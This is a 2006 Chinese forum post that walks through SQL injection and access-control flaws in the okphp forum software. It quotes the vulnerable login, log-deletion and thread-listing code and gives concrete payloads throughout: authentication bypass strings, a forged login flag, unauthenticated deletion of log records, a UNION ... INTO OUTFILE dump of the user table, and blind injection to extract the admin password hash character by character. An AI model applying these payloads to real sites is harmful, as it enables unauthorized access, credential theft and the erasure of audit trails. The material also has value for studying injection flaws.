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dirtysea 发表于 2006-5-18 21:39:05

手工注射php学习

代码:&nbsp;<BR>$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);&nbsp;<BR>$password = md5($password);&nbsp;<BR>$q = "select id,group_id from $user_table where username='$username' and password='$password'";&nbsp;<BR>$res = sql_query($q,$conn);&nbsp;<BR>$row = sql_fetch_row($res);&nbsp;<BR><BR>$q = "select id,group_id from $user_table where username='$username' and password='$password'"中&nbsp;<BR>$username 和 $password 没过滤, 很容易就绕过。&nbsp;<BR>对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:&nbsp;<BR><BR>构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a&nbsp;<BR><BR>相当于sql语句:&nbsp;<BR>select * from $user_table where username= OR 'a'='a' and password= OR 'a'='a'&nbsp;<BR><BR>构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)&nbsp;<BR><BR>即:&nbsp;<BR>select * from $user_table where username='admin'#' and password='$password'"&nbsp;<BR><BR>相当于:&nbsp;<BR>select * from $user_table where username='admin'&nbsp;<BR><BR>在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:&nbsp;<BR><BR>select id,group_id from $user_table where username='admin'#' and password='$password'"&nbsp;<BR><BR>相当于:&nbsp;<BR>select id,group_id from $user_table where username='admin'&nbsp;<BR><BR>只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,&nbsp;<BR>我们就可以这样构造:$username=' OR id=1#&nbsp;<BR><BR>相当于:&nbsp;<BR>select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)&nbsp;<BR><BR>我们接着往下看代码:&nbsp;<BR>if ($row) {&nbsp;<BR>// If not admin or super moderator&nbsp;<BR>if ($username != "admin" &amp;&amp; !eregi("(^|&amp;)3($|&amp;)",$row)) {&nbsp;<BR>$login = 0;&nbsp;<BR>}&nbsp;<BR><BR>else {&nbsp;<BR>$login = 1;&nbsp;<BR>}&nbsp;<BR>}&nbsp;<BR>// Fail to login<BR>---&nbsp;<BR>if (!$login) {&nbsp;<BR>write_log("Moderator login","0","password wrong");&nbsp;<BR>echo "&lt;script&gt;alert('login failed!');history.go(-1);&lt;/script&gt;";&nbsp;<BR>exit();&nbsp;<BR>}&nbsp;<BR>// Access !&nbsp;<BR>-&nbsp;<BR>else {&nbsp;<BR>session_start();&nbsp;<BR><BR>呵呵~~ 最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。&nbsp;<BR><BR><BR>2.users/login.php注射导致绕过身份验证漏洞:&nbsp;<BR>代码:&nbsp;<BR>$md5password = md5($password);&nbsp;<BR>$q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'";&nbsp;<BR>$res = sql_query($q,$conn);&nbsp;<BR>$row = sql_fetch_row($res);&nbsp;<BR><BR>$username没过滤利用同1里注释掉and password='$md5password'";就绕过啦。&nbsp;<BR><BR><BR>3.adminloglist.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)&nbsp;<BR><BR>okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:&nbsp;<BR><BR>$arr = array("del_log","log_id","del_id");&nbsp;<BR>get_r($arr);&nbsp;<BR>//&nbsp;<BR>if ($del_log) {&nbsp;<BR>省略........&nbsp;<BR>if ($log_id) {&nbsp;<BR>foreach ($log_id as $val) {&nbsp;<BR>$q = "delete from $log_table where id='$val'";&nbsp;<BR>$res = sql_query($q,$conn);&nbsp;<BR>if ($res) {&nbsp;<BR>$i++;&nbsp;<BR>}&nbsp;<BR>}&nbsp;<BR>}&nbsp;<BR>elseif ($del_id) {&nbsp;<BR>$q = "delete from $log_table where id='$del_id'";&nbsp;<BR>$res = sql_query($q,$conn);&nbsp;<BR>}&nbsp;<BR>$tpl-&gt;setVariable("message","$i log deleted ok!");&nbsp;<BR>$tpl-&gt;setVariable("action","index.php?action=list_log");&nbsp;<BR>}&nbsp;<BR><BR>代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。&nbsp;<BR><BR>4.多个文件对变量没有过滤导致sql注射漏洞。&nbsp;<BR>  okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是“赤裸裸”的。具体那些文件我就不列出来了,请自己看代码,我这里就用 orumslist_threads.php为例子简单谈一下。&nbsp;<BR><BR>看list_threads.php的代码:&nbsp;<BR><BR>$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";&nbsp;<BR>$res = sql_query($q,$conn);&nbsp;<BR>$row = sql_fetch_row($res);&nbsp;<BR><BR>变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:&nbsp;<BR><BR>构造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:&nbsp;<BR><BR>$forum_id=' union select * from user_table into outfile '/path/file.txt'&nbsp;<BR><BR>以下:&nbsp;<BR>$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";&nbsp;<BR><BR><BR>上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:&nbsp;<BR><BR>构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用“返回结果不同”注射的例子:(见漏洞5)。&nbsp;<BR><BR>5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)&nbsp;<BR><BR>问题代码同漏洞1。&nbsp;<BR>语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):&nbsp;<BR>$username=admin' AND LENGTH(password)=6#&nbsp;<BR><BR>sql语句变成:&nbsp;<BR>$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"&nbsp;<BR><BR>相当于:&nbsp;<BR>$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"&nbsp;<BR><BR>如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。&nbsp;<BR><BR>呵呵,这样我们就可以猜解用户admin密码hash了。如$username=admin' ord(substring(password,1,1))=57#&nbsp;<BR>可以猜用户的密码第一位的ascii码值............。
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